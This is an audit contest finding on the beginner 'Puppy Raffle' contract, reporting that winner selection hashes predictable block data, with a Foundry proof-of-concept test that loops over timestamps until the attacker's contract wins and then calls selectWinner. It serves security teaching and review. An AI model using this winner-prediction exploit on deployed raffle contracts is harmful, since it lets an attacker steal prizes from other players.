First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Random Number is not so random and can be predicted.

alymurtazamemon

Random Number is not so random and can be predicted.

Summary

The on-chain data is public, and anyone has access to that data. Predicting a winner based on that data can be vulnerable and could be exploited by a malicious user to always select themselves as the winner of the raffle.

Vulnerability Details

uint256 winnerIndex = uint256(
keccak256(
abi.encodePacked(msg.sender, block.timestamp, block.difficulty)
)
) % players.length;

PuppyRaffle.sol - Lines 128 - 129;

The protocol generates a hash using on-chain data (msg.sender, block.timestamp, and block.difficulty) and takes the modulo of that hash after converting it into a uint256 value.

Any contract can access all of these values and the total number of players in the PuppyRaffle contract to predict the winner's index. Since the PuppyRaffle::selectWinner is callable by any user, a malicious user can predict these values and call the PuppyRaffle::selectWinner function only when their deployed contract will be the winner of the raffle.

PoC

View It

  1. Add this test inside PuppyRaffleTest.t.sol file;

In this test, a malicious user calls the PuppyRaffle::enterRaffle function and passes the address of his contract as a player in the raffle. After the raffle duration ends, he start predicting the winner index. Once he found the index of his contract as the winner, he calls the PuppyRaffle::selectWinner function and won the raffle.

function test_HackRandomness() public playersEntered {
address[] memory players = new address[](1);
players[0] = address(this);
​
puppyRaffle.enterRaffle{value: entranceFee}(players);
​
vm.warp(
puppyRaffle.raffleStartTime() + puppyRaffle.raffleDuration() + 1
);
​
address winner;
bool run = true;
​
while (run) {
uint256 winnerIndex = uint256(
keccak256(
abi.encodePacked(
address(this),
block.timestamp,
block.difficulty
)
)
) % puppyRaffle.getTotalPlayers();
​
winner = puppyRaffle.players(winnerIndex);
​
console.log("Winner: ", winner);
​
if (winner == address(this)) {
run = false;
} else {
skip(1);
}
}
​
require(winner == address(this), "Unsuccessful");
puppyRaffle.selectWinner();
​
assertEq(puppyRaffle.previousWinner(), address(this));
}

  1. I added this function inside PuppyRaffle contract to get the total number of players for convenience, but even without adding this function, any user can know the total number of players.

function getTotalPlayers() external view returns (uint256) {
return players.length;
}

  1. Import and inherit the IERC721Receiver and add onERC721Received function inside the contract to make our test contract compatible to receive the ERC721 tokens.

import {IERC721Receiver} from "lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol";
​
contract PuppyRaffleTest is Test, IERC721Receiver {
​
function onERC721Received(
address /* operator */,
address /* from */,
uint256 /* tokenId */,
bytes calldata /* data */
) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}

  1. Run the test using command forge test --match-test test_HackRandomness -vv

Output

Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] test_HackRandomness() (gas: 321357)
Logs:
Winner: 0x0000000000000000000000000000000000000003
Winner: 0x0000000000000000000000000000000000000002
Winner: 0x0000000000000000000000000000000000000002
Winner: 0x0000000000000000000000000000000000000004
Winner: 0x0000000000000000000000000000000000000004
Winner: 0x0000000000000000000000000000000000000003
Winner: 0x0000000000000000000000000000000000000004
Winner: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.79ms
​
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Anyone can steal the NFT as shown in the Poc.

Similarly, anyone can predict the rarity of the NFT and mint the LEGENDARY everytime.

PuppyRaffle.sol - Line 139

Tools Used

Manual Review, foundry

Recommendations

Do not use the on-chain data for randomness.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!